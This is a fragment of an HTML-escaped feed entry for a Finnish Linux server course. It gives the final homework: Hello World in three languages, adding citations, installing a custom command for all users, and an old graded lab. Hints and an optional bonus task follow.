&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h7-maalisuora&quot;&gt;h7 Maalisuora &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#h7-maalisuora&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;a) Kirjoita ja aja &quot;Hei maailma&quot; kolmella kielellä.&lt;/li&gt;
&lt;li&gt;b) Lähdeviitteet. Tarkista ja tarvittaessa lisää lähdeviitteet kaikkiin raportteihisi h1 alkaen. Tarkista, että olet viitannut lähteisiin: tehtäväsivuun, kurssiin, muiden opiskelijoiden raportteihin, man-sivuihin, kotisivuihin ja ylipäänsä kaikkiin käyttämiisi lähteisiin. Lähdeviite tulee olla jokaisessa raportissa tai sivussa, jossa lähdettä on käytetty. Kaikki tehtävät perustuvat tämän sivun tehtävänantoihin, joten ainakin tämä viite on syytä löytyä. (Tästä alakohdasta ei tarvitse kirjoittaa vaiheittaista raporttia)&lt;/li&gt;
&lt;li&gt;c) Laita Linuxiin uusi, itse tekemäsi komento niin, että kaikki käyttäjät voivat ajaa sitä.&lt;/li&gt;
&lt;li&gt;d) Ratkaise vanha arvioitava laboratorioharjoitus soveltuvin osin.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Jos haluat tehdä vapaaehtoisen tehtävän h8, sen määräaika on sama kuin h7.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Vinkit:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2018/hello-python3-bash-c-c-go-lua-ruby-java-programming-languages-on-ubuntu-18-04/&quot;&gt;Karvinen 2018: Hello World Python3, Bash, C, C++, Go, Lua, Ruby, Java – Programming Languages on Ubuntu 18.04&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Uuden komennon saat ajettavaksi &lt;a href=&quot;https://terokarvinen.com/2007/12/04/shell-scripting-4/&quot;&gt;Karvinen 2007: Shell Scripting&lt;/a&gt;, ja kaikille kopioimalla sen pääkäyttäjänä kansioon /usr/local/bin/&lt;/li&gt;
&lt;li&gt;Muistaakseni ohjelmointikielien paketit Debian 12-bookworm:ssa ovat &#39;sudo apt-get install python3 gcc g++ openjdk-17-jdk golang-go ruby lua5.4&#39;&lt;/li&gt;
&lt;li&gt;Vanhoja arvioitavia laboratorioharjoituksia löytyy Teron sivujen omalla hakutoiminnolla, Googlella ja DuckDuckGolla.&lt;/li&gt;
&lt;li&gt;Vanhoissa labroissa voi olla osia, joita ei ole käsitelty tällä toteutuksella. Voit soveltaa, vaihtaa tai hypätä yli noista osista.&lt;/li&gt;
&lt;li&gt;Muista aina hyvät salasanat. Älä jätä käyttäjien kotihakemistoihin root:in omistamia tiedostoja. Testaa kaikki mitä olet tehnyt.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h8-bonus&quot;&gt;h8 Bonus &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#h8-bonus&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Vapaaehtoinen: Bonus: luettele ja linkitä tähän tekemäsi&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a) Vapaaehtoiset tehtävät&lt;/li&gt;
&lt;li&gt;b) Ristiinarvioinnin jälkeen olennaisesti parannetut tehtävät&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Määräaika on sama kuin tehtävän h7.&lt;/p&gt;
&lt;h2 id=&quot;adminstrivia&quot;&gt;Adminstrivia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#adminstrivia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This has been updated after publishing, and will be updated as needed.&lt;/p&gt;
&lt;p&gt;Tux logo by Larry Ewing.&lt;/p&gt;
</content>
  </entry>
</feed>
